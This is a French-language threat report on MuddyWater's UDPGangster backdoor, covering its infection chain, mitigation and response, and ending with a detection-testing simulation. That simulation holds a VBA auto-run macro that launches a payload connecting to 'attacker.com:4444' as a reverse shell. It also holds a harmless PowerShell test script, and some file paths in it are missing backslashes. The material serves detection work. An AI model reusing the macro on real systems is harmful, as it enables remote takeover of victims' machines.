Attaques UDGGangster Se Propagent à Travers Plusieurs Pays

Résumé

UDPGangster est un backdoor basé sur UDP utilisé par le groupe de menace MuddyWater pour contrôler à distance des hôtes Windows. La compromission initiale se fait via un document Word malveillant qui utilise des macros VBA pour déposer et lancer la charge utile. Le logiciel malveillant effectue des vérifications anti-analyse approfondies et maintient sa persistance en se copiant dans le répertoire AppData de l’utilisateur et en créant une clé Run. Des campagnes récentes ont été observées ciblant des utilisateurs en Turquie, Israël et Azerbaïdjan.

Enquête

Les laboratoires FortiGuard ont examiné les e-mails de phishing, la macro VBA intégrée, l’exécutable déposé, et ses techniques de persistance. Ils ont extrait des indicateurs tels que les chemins de fichiers, les entrées de registre Run, les noms de mutex, et l’infrastructure C2 associée. La corrélation des adresses IP, des domaines et des chemins PDB a permis aux analystes de relier cette activité à des opérations antérieures de MuddyWater.

Atténuation

Les mesures d’atténuation incluent le blocage des macros ou une formation utilisateur robuste pour empêcher l’exécution des macros, et le déploiement de défenses aux points d’extrémité qui surveillent les écritures de fichiers suspects dans les dossiers publics ou de profil utilisateur, ainsi que les modifications des clés de registre Run. Les équipes réseau devraient surveiller le trafic UDP anormal sur le port 1269 et bloquer les adresses IP et domaines malveillants connus pour perturber les canaux C2.

Réponse

Lorsqu’une activité de UDPGangster est détectée, isolez le point d’extrémité impacté, collectez la mémoire volatile et les images complètes du disque, et recherchez le binaire du backdoor et les artefacts associés. Bloquez l’infrastructure C2 identifiée, réalisez une analyse judiciaire approfondie pour découvrir tout système compromis supplémentaire, et mettez à jour les signatures de sécurité pour détecter à la fois les documents malveillants macro et la charge utile backdoor.

Exécution de simulation

Condition préalable : La vérification pré-vol de télémétrie et de base doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Récit des attaques et commandes :
  Un attaquant délivre un document Word malveillant contenant une macro VBA. La macro appelle l’API Windows CreateProcessA pour lancer cmd.exe et exécuter la charge utile UDPGangster (udp_gangster.exe). La charge utile établit un shell inversé au serveur C2 de l’attaquant. Comme la macro passe explicitement la chaîne “CreateProcessA” et le littéral cmd.exe dans la ligne de commande, la règle de détection se déclenchera.

  1. Macro VBA (simplifiée) – démontre l’appel API :

     Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
         (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
          ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
          ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
          ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
          ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
     
     Sub AutoOpen()
         Dim cmdLine As String
         cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
         Dim si As STARTUPINFO
         Dim pi As PROCESS_INFORMATION
         Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
     End Sub

  2. Déployez la macro, ouvrez le document, et laissez la macro s’exécuter. L’événement de création de processus résultant contiendra :

     CommandLine : cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"

• Script de test de régression : Le script PowerShell suivant reproduit la télémétrie exacte sans nécessiter un document Word. Il appelle l’API Win32 native CreateProcessA via Add-Type.

  # Test de régression : appel direct de CreateProcessA avec cmd.exe
  $source = @"
  using System;
  using System.Runtime.InteropServices;
  
  public class NativeMethods {
      [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
      public struct STARTUPINFO {
          public int cb;
          public string lpReserved;
          public string lpDesktop;
          public string lpTitle;
          public uint dwX;
          public uint dwY;
          public uint dwXSize;
          public uint dwYSize;
          public uint dwXCountChars;
          public uint dwYCountChars;
          public uint dwFillAttribute;
          public uint dwFlags;
          public short wShowWindow;
          public short cbReserved2;
          public IntPtr lpReserved2;
          public IntPtr hStdInput;
          public IntPtr hStdOutput;
          public IntPtr hStdError;
      }
  
      [StructLayout(LayoutKind.Sequential)]
      public struct PROCESS_INFORMATION {
          public IntPtr hProcess;
          public IntPtr hThread;
          public uint dwProcessId;
          public uint dwThreadId;
      }
  
      [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
      public static extern bool CreateProcessA(
          string lpApplicationName,
          string lpCommandLine,
          IntPtr lpProcessAttributes,
          IntPtr lpThreadAttributes,
          bool bInheritHandles,
          uint dwCreationFlags,
          IntPtr lpEnvironment,
          string lpCurrentDirectory,
          ref STARTUPINFO lpStartupInfo,
          out PROCESS_INFORMATION lpProcessInformation);
  }
  "@
  
  Add-Type $source
  
  $si = New-Object NativeMethods+STARTUPINFO
  $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
  $pi = New-Object NativeMethods+PROCESS_INFORMATION
  
  $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
  
  $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
  
  if (-not $result) {
      Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
  } else {
      Write-Host "CreateProcessA succeeded, command line logged."
  }

• Commandes de nettoyage : Supprimez l’artefact créé pendant la simulation.

  # Supprimez le fichier journal temporaire généré par la simulation
  Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue